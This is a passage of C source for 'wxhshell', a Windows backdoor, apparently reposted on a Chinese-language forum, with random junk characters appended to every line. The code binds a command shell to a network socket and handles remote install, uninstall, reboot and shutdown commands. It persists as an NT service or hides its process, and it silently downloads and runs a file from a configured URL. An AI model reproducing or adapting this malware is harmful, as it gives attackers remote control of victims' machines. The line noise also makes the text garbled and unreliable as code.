      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6~@5X}^<0  
    break; c&e0OV\m  
  } rzT{-DZB[4  
  // 安装 r*Z_+a8  
  case 'i': { e5OVq ,  
    if(Install()) )X%oXc&C|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LyP`{_"CM  
    else jY+Do:#/wO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @C_ =*  
    break; #(dhBEXPW;  
    } sam[s4@eQ  
  // 卸载 v, 0<9!'v  
  case 'r': { OG}KqG!n  
    if(Uninstall()) O 6]u!NqG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E9R]sXf8  
    else Z s73 ad  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NWnWk  
    break; tqhh<u;  
    } 5rN7':(H!%  
  // 显示 wxhshell 所在路径 UR,?!rJ^B  
  case 'p': { zq=&4afOE  
    char svExeFile[MAX_PATH]; KBj@V6Q  
    strcpy(svExeFile,"\n\r"); r0uJ$/!  
      strcat(svExeFile,ExeFile); )f[C[Rd  
        send(wsh,svExeFile,strlen(svExeFile),0); D-D #`  
    break; 5p{25N_t  
    } WG\Q5k4Ba  
  // 重启 -R8/`M8GbD  
  case 'b': { B!iFmkCy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C[0MA ,^  
    if(Boot(REBOOT)) mF~ys{"t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q|Fjm]AF  
    else { ?sE@]]z  
    closesocket(wsh); '}CN?f|.  
    ExitThread(0); "u5KbJW  
    } Bs@:rhDi  
    break; ,zoB0([  
    } $r):d  
  // 关机 0}D-KvjyP  
  case 'd': { ?61L|vr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GI?PGAT  
    if(Boot(SHUTDOWN)) nfa_8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W7$s5G,  
    else { '9"%@AFxZ  
    closesocket(wsh); V07VwVD  
    ExitThread(0); U Q)!|@&  
    } |SxMN %M!  
    break; Enu!u~1]F  
    } _tA7=*@8  
  // 获取shell PY2[ S[  
  case 's': { df^0{gNHx  
    CmdShell(wsh); ^K"ZJ6?+1  
    closesocket(wsh); CuIqh BW!  
    ExitThread(0);  w"BIv9N  
    break; el}hcAY/RP  
  } =pyVn_dg  
  // 退出 ^]i" H|(x  
  case 'x': { ~};]k}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K[e`t%2_  
    CloseIt(wsh); O/(3 87=U  
    break; IeH^Wm&^  
    } VZHr-z$6n  
  // 离开 q?(A!1(u  
  case 'q': { 7&h\l6}Yh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uL bp.N8  
    closesocket(wsh); |y klT  
    WSACleanup(); U&`6&$]  
    exit(1); pa> p%  
    break; x!OWJ/O  
        } 3\,MsoAl  
  } jiqi!*  
  } X {#bJ  
NWw<B3aL  
  // 提示信息 h>~jQ&\M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ={\![{L  
} "pOqd8>]  
  } P`7ojXy  
I+*osk  
  return; fdN45in=>  
} 1]"D%U=  
9*BoYFw92*  
// shell模块句柄 u.$Ym  
int CmdShell(SOCKET sock) G!nl'5|y  
{ f+{c1fb>s  
STARTUPINFO si; TihnSb  
ZeroMemory(&si,sizeof(si)); lq~Gc M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >Dk1axZ!>/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f;e_04K  
PROCESS_INFORMATION ProcessInfo; yZ?xt'tn  
char cmdline[]="cmd"; Ii|uGxEc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {k kAqJ  
  return 0; 8w03{H 0  
} MomLda V9Q  
VEL:JsY  
// 自身启动模式 s.f`.o  
int StartFromService(void) mk#>Dpy?  
{ s>LA3kT  
typedef struct <l* agH-.3  
{ _`TepX R  
  DWORD ExitStatus; y2oB]^z&n  
  DWORD PebBaseAddress; {CW1t5$*  
  DWORD AffinityMask; }9{dR4hD  
  DWORD BasePriority; J@oEV=L  
  ULONG UniqueProcessId; co \[{}}  
  ULONG InheritedFromUniqueProcessId; D."cQ<sxpN  
}   PROCESS_BASIC_INFORMATION; s]$HkSH  
l\q*%'Pe  
PROCNTQSIP NtQueryInformationProcess; }rO?5  
Q2JdO 6[96  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |z.Gh1GCy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; < 8}KEe4  
59&T/  
  HANDLE             hProcess; 6H(fk1E  
  PROCESS_BASIC_INFORMATION pbi; }wvwZ`5t  
~5lKL5w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5}vRo;-  
  if(NULL == hInst ) return 0; EJ WOXxU  
*ah>-}-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M'pb8jf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OpWeW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;X?Ah  
Dj-\))L  
  if (!NtQueryInformationProcess) return 0; y #hga5  
5*s1qA0^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qv9*p('~A  
  if(!hProcess) return 0; i /O1vU#  
qZT 4+&y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YD/B')/ s  
T0@](g  
  CloseHandle(hProcess); >i^y;5  
.V5q$5j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AzLbD2Pl  
if(hProcess==NULL) return 0; " #mXsp-ut  
3::3r}g  
HMODULE hMod; \iFMU#  
char procName[255]; 7\7Brw4  
unsigned long cbNeeded; "D ts*  
=oL8d 6nI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X_lUD?y  
p9FA_(`^  
  CloseHandle(hProcess); oso1uAOfp  
JcvHJ0X~a  
if(strstr(procName,"services")) return 1; // 以服务启动 =yk Rki  
SR&(HH$  
  return 0; // 注册表启动 .4S^nP  
} baUEsg[~V  
SQO>}#qm  
// 主模块 !SLP8|Cd  
int StartWxhshell(LPSTR lpCmdLine) E5,%J  
{ ..P=D <'f  
  SOCKET wsl; Q{J"`d2  
BOOL val=TRUE; B$}wF<`k7  
  int port=0; d&PE,$XC  
  struct sockaddr_in door; ZI2K-z'e  
WrE-Zti  
  if(wscfg.ws_autoins) Install(); h/0<:eZ*  
Mr5('9%  
port=atoi(lpCmdLine); jQ.>2-;H9  
"K}W^J9v  
if(port<=0) port=wscfg.ws_port; ,(@Y%UW:  
[M7iJcwt  
  WSADATA data; boC>N   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2- Npw%;  
++J Bbuzj!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Hm+6QgCs  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !^Z[z[  
  door.sin_family = AF_INET; 6SW|H"!!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "xvV'&lQ  
  door.sin_port = htons(port); {a+Fx}W  
HobGl0<y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { haEZp6Z  
closesocket(wsl); E i\J9zt  
return 1; Y5h)l<P>B  
} M\Uc;:) H  
V',m $   
  if(listen(wsl,2) == INVALID_SOCKET) { {Gk}3u/  
closesocket(wsl); %mB!|'K%  
return 1; =#POMK".6  
} tKs4}vW  
  Wxhshell(wsl); h|c:!VN@  
  WSACleanup(); 7)8rc(58  
T9<H%iF  
return 0; cdek^/  
T0*TTB&b  
} 3 2iWYN  
O9qKwn;q(  
// 以NT服务方式启动 k"DQbUy0L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o3TBRn,  
{ #RLch  
DWORD   status = 0; >PTu*6Z  
  DWORD   specificError = 0xfffffff; iP#A-du  
-Iruua7b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xy z\;3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mTXNHvv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8,H#t@+MT  
  serviceStatus.dwWin32ExitCode     = 0; ^)C$8:@  
  serviceStatus.dwServiceSpecificExitCode = 0; #/XK&(X  
  serviceStatus.dwCheckPoint       = 0; -?%{A%'  
  serviceStatus.dwWaitHint       = 0; ]mD=Br*r~  
g`~lIt [=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); My6]k?;}(  
  if (hServiceStatusHandle==0) return; ( 7Ca\H3$  
6M<mOhp@}n  
status = GetLastError(); 6>N u=~  
  if (status!=NO_ERROR) qed!C  
{ .2(@jx,[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y?R <g^A  
    serviceStatus.dwCheckPoint       = 0; PU@U@  
    serviceStatus.dwWaitHint       = 0;  1+i  
    serviceStatus.dwWin32ExitCode     = status; 2)I'5 ?I  
    serviceStatus.dwServiceSpecificExitCode = specificError; k+m_L{#m5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g6a3MJV`  
    return; L/ICFa.G  
  } "]\":T  
1 Z$99  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %BYlbEx  
  serviceStatus.dwCheckPoint       = 0; ss*2TE7  
  serviceStatus.dwWaitHint       = 0; fY\tvo%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |z<wPJ,;2  
} DRmh(T  
f@. Q%+!4  
// 处理NT服务事件,比如:启动、停止 GE3U0w6WbK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _I70qz8  
{ @9kk f{?  
switch(fdwControl) I3E8vi%B.  
{  9jzLXym  
case SERVICE_CONTROL_STOP: [2j (\vC!  
  serviceStatus.dwWin32ExitCode = 0; }yC,uEV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G'}_ZUy#  
  serviceStatus.dwCheckPoint   = 0; PA-0FlV|  
  serviceStatus.dwWaitHint     = 0; I\4`90uBN  
  { 7Hkf7\JY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9q@YE_ji  
  } kA :;c}p  
  return; Exs _LN  
case SERVICE_CONTROL_PAUSE: "?0 G^zu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ZT-45_  
  break; tIy/QN_42  
case SERVICE_CONTROL_CONTINUE: N4]6LA6x6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N,+g/o\f  
  break; %Ja{IWz9L  
case SERVICE_CONTROL_INTERROGATE: I;m@cSJ|j  
  break; @U.}Ei  
}; c"&!=@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N{z(|2{A#  
} 4y}a,  
jxOVH+?l%  
// 标准应用程序主函数 -Aym+N9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :<7>-+pa  
{ 3LnyQ  
4Jy,IKPp  
// 获取操作系统版本 iC0,zk4&  
OsIsNt=GetOsVer(); j\L$dPZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m3!MHe~t  
 hahD.P<  
  // 从命令行安装 D~?*Xv]s ~  
  if(strpbrk(lpCmdLine,"iI")) Install(); w]YyU5rhS  
[&k k  
  // 下载执行文件 f2e$BA  
if(wscfg.ws_downexe) { CbaAnm1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =<uz'\Ytv%  
  WinExec(wscfg.ws_filenam,SW_HIDE); -ddatc|  
} X10TZ  
krY.Cc]  
if(!OsIsNt) { U~@B%Msb L  
// 如果时win9x,隐藏进程并且设置为注册表启动 hpe s  
HideProc(); zw:b7B]  
StartWxhshell(lpCmdLine); bN %MT#X  
} DQXx}%Px  
else `l40awGCz  
  if(StartFromService()) WSccR  
  // 以服务方式启动 U,}T ]J  
  StartServiceCtrlDispatcher(DispatchTable); @!HMd{r  
else j`M<M[C*4N  
  // 普通方式启动 ]-OkW.8d1  
  StartWxhshell(lpCmdLine); zq>"a&Y,  
J-?(sjIX  
return 0; l zkn B  
}
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只看该作者 1 发表于: 2006-10-10
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